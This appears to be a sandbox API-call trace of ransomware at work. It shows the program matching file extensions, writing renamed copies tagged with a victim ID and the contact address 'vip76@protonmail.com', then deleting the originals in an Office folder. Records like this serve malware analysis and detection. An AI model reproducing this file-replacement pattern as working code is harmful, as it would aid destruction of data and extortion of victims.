	[0080.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.416] lstrlenW (lpString=".zip") returned 4
	[0080.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0080.416] lstrlenW (lpString=".rar") returned 4
	[0080.416] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0080.416] lstrlenW (lpString=".bz2") returned 4
	[0080.416] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0080.416] lstrlenW (lpString=".7z") returned 3
	[0080.416] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0080.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.416] lstrlenW (lpString=".dbf") returned 4
	[0080.416] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0080.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.416] lstrlenW (lpString=".1cd") returned 4
	[0080.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0080.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.416] lstrlenW (lpString=".jpg") returned 4
	[0080.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0080.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.416] lstrlenW (lpString=".doc") returned 4
	[0080.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0080.416] lstrlenW (lpString=".docx") returned 5
	[0080.416] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0080.417] lstrlenW (lpString=".pdf") returned 4
	[0080.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0080.417] lstrlenW (lpString=".xls") returned 4
	[0080.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0080.417] lstrlenW (lpString=".xlsx") returned 5
	[0080.417] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0080.417] lstrlenW (lpString=".ppt") returned 4
	[0080.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0080.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.417] lstrlenW (lpString=".zip") returned 4
	[0080.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0080.417] lstrlenW (lpString=".rar") returned 4
	[0080.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0080.417] lstrlenW (lpString=".bz2") returned 4
	[0080.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0080.417] lstrlenW (lpString=".7z") returned 3
	[0080.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0080.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.417] lstrlenW (lpString=".dbf") returned 4
	[0080.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0080.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.417] lstrlenW (lpString=".1cd") returned 4
	[0080.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0080.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0080.418] lstrlenW (lpString=".jpg") returned 4
	[0080.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0080.418] lstrcmpiW (lpString1=".hash", lpString2=".html") returned -1
	[0080.418] lstrlenW (lpString="i641033.hash") returned 12
	[0080.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.505] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=102) returned 1
	[0080.505] CloseHandle (hObject=0x36c) returned 1
	[0080.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20
	[0080.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0080.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.001] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.001] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0081.003] GetLastError () returned 0x0
	[0081.003] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x66, lpOverlapped=0x0) returned 1
	[0081.004] WriteFile (in: hFile=0x2c0, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x70, lpOverlapped=0x0) returned 1
	[0081.005] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.005] WriteFile (in: hFile=0x2c0, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.005] SetEndOfFile (hFile=0x2c0) returned 1
	[0081.005] CloseHandle (hObject=0x2c0) returned 1
	[0081.006] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.007] SetEndOfFile (hFile=0x36c) returned 1
	[0081.007] CloseHandle (hObject=0x36c) returned 1
	[0081.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1
	[0081.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.008] lstrlenW (lpString=".doc") returned 4
	[0081.008] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0081.008] lstrlenW (lpString=".docx") returned 5
	[0081.008] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0081.008] lstrlenW (lpString=".pdf") returned 4
	[0081.008] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0081.008] lstrlenW (lpString=".xls") returned 4
	[0081.008] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0081.008] lstrlenW (lpString=".xlsx") returned 5
	[0081.008] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0081.008] lstrlenW (lpString=".ppt") returned 4
	[0081.008] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0081.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.009] lstrlenW (lpString=".zip") returned 4
	[0081.009] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString=".rar") returned 4
	[0081.009] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString=".bz2") returned 4
	[0081.009] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString=".7z") returned 3
	[0081.009] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0081.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.009] lstrlenW (lpString=".dbf") returned 4
	[0081.009] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.009] lstrlenW (lpString=".1cd") returned 4
	[0081.009] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.009] lstrlenW (lpString=".jpg") returned 4
	[0081.009] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.009] lstrlenW (lpString=".doc") returned 4
	[0081.009] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString=".docx") returned 5
	[0081.009] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0081.009] lstrlenW (lpString=".pdf") returned 4
	[0081.009] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString=".xls") returned 4
	[0081.009] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString=".xlsx") returned 5
	[0081.009] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0081.009] lstrlenW (lpString=".ppt") returned 4
	[0081.009] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0081.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.010] lstrlenW (lpString=".zip") returned 4
	[0081.010] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0081.010] lstrlenW (lpString=".rar") returned 4
	[0081.010] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0081.010] lstrlenW (lpString=".bz2") returned 4
	[0081.010] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0081.010] lstrlenW (lpString=".7z") returned 3
	[0081.010] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0081.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.010] lstrlenW (lpString=".dbf") returned 4
	[0081.010] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0081.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.010] lstrlenW (lpString=".1cd") returned 4
	[0081.010] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0081.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0081.011] lstrlenW (lpString=".jpg") returned 4
	[0081.011] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0081.012] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0081.012] lstrlenW (lpString="MavInject32.exe") returned 15
	[0081.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.013] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=358616) returned 1
	[0081.013] CloseHandle (hObject=0x36c) returned 1
	[0081.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20
	[0081.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.013] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.013] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0081.014] GetLastError () returned 0x0
	[0081.014] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x578d8, lpOverlapped=0x0) returned 1
	[0081.028] WriteFile (in: hFile=0x2c0, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x578e0, lpOverlapped=0x0) returned 1
	[0081.042] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.042] WriteFile (in: hFile=0x2c0, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0081.042] SetEndOfFile (hFile=0x2c0) returned 1
	[0081.042] CloseHandle (hObject=0x2c0) returned 1
	[0081.455] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.455] SetEndOfFile (hFile=0x36c) returned 1
	[0081.459] CloseHandle (hObject=0x36c) returned 1
	[0081.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.459] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1
	[0081.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.460] lstrlenW (lpString=".doc") returned 4
	[0081.460] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.460] lstrlenW (lpString=".docx") returned 5
	[0081.460] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0081.460] lstrlenW (lpString=".pdf") returned 4
	[0081.460] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.460] lstrlenW (lpString=".xls") returned 4
	[0081.460] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.460] lstrlenW (lpString=".xlsx") returned 5
	[0081.460] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0081.460] lstrlenW (lpString=".ppt") returned 4
	[0081.460] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.460] lstrlenW (lpString=".zip") returned 4
	[0081.460] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.460] lstrlenW (lpString=".rar") returned 4
	[0081.460] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.460] lstrlenW (lpString=".bz2") returned 4
	[0081.460] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.460] lstrlenW (lpString=".7z") returned 3
	[0081.460] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.460] lstrlenW (lpString=".dbf") returned 4
	[0081.460] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.460] lstrlenW (lpString=".1cd") returned 4
	[0081.460] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.461] lstrlenW (lpString=".jpg") returned 4
	[0081.461] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.461] lstrlenW (lpString=".doc") returned 4
	[0081.461] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.461] lstrlenW (lpString=".docx") returned 5
	[0081.461] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0081.461] lstrlenW (lpString=".pdf") returned 4
	[0081.461] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.461] lstrlenW (lpString=".xls") returned 4
	[0081.461] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.461] lstrlenW (lpString=".xlsx") returned 5
	[0081.461] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0081.461] lstrlenW (lpString=".ppt") returned 4
	[0081.461] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.461] lstrlenW (lpString=".zip") returned 4
	[0081.461] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.461] lstrlenW (lpString=".rar") returned 4
	[0081.461] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.461] lstrlenW (lpString=".bz2") returned 4
	[0081.461] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.461] lstrlenW (lpString=".7z") returned 3
	[0081.461] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.461] lstrlenW (lpString=".dbf") returned 4
	[0081.461] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.461] lstrlenW (lpString=".1cd") returned 4
	[0081.461] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0081.462] lstrlenW (lpString=".jpg") returned 4
	[0081.462] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.462] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.462] lstrlenW (lpString="OfficeC2RCom.dll") returned 16
	[0081.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.462] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=996568) returned 1
	[0081.462] CloseHandle (hObject=0x36c) returned 1
	[0081.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20
	[0081.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0081.463] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.463] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0081.463] GetLastError () returned 0x0
	[0081.463] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xf34d8, lpOverlapped=0x0) returned 1
	[0081.513] WriteFile (in: hFile=0x2c0, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf34e0, lpOverlapped=0x0) returned 1
	[0081.812] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.812] WriteFile (in: hFile=0x2c0, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0081.812] SetEndOfFile (hFile=0x2c0) returned 1
	[0081.812] CloseHandle (hObject=0x2c0) returned 1
	[0081.835] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.835] SetEndOfFile (hFile=0x36c) returned 1
	[0081.843] CloseHandle (hObject=0x36c) returned 1
	[0081.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.844] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.844] lstrlenW (lpString=".doc") returned 4
	[0081.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.844] lstrlenW (lpString=".docx") returned 5
	[0081.844] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0081.844] lstrlenW (lpString=".pdf") returned 4
	[0081.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.844] lstrlenW (lpString=".xls") returned 4
	[0081.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.844] lstrlenW (lpString=".xlsx") returned 5
	[0081.844] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0081.844] lstrlenW (lpString=".ppt") returned 4
	[0081.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.844] lstrlenW (lpString=".zip") returned 4
	[0081.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.844] lstrlenW (lpString=".rar") returned 4
	[0081.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.844] lstrlenW (lpString=".bz2") returned 4
	[0081.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.844] lstrlenW (lpString=".7z") returned 3
	[0081.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0081.845] lstrlenW (lpString=".dbf") returned 4
	[0081.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
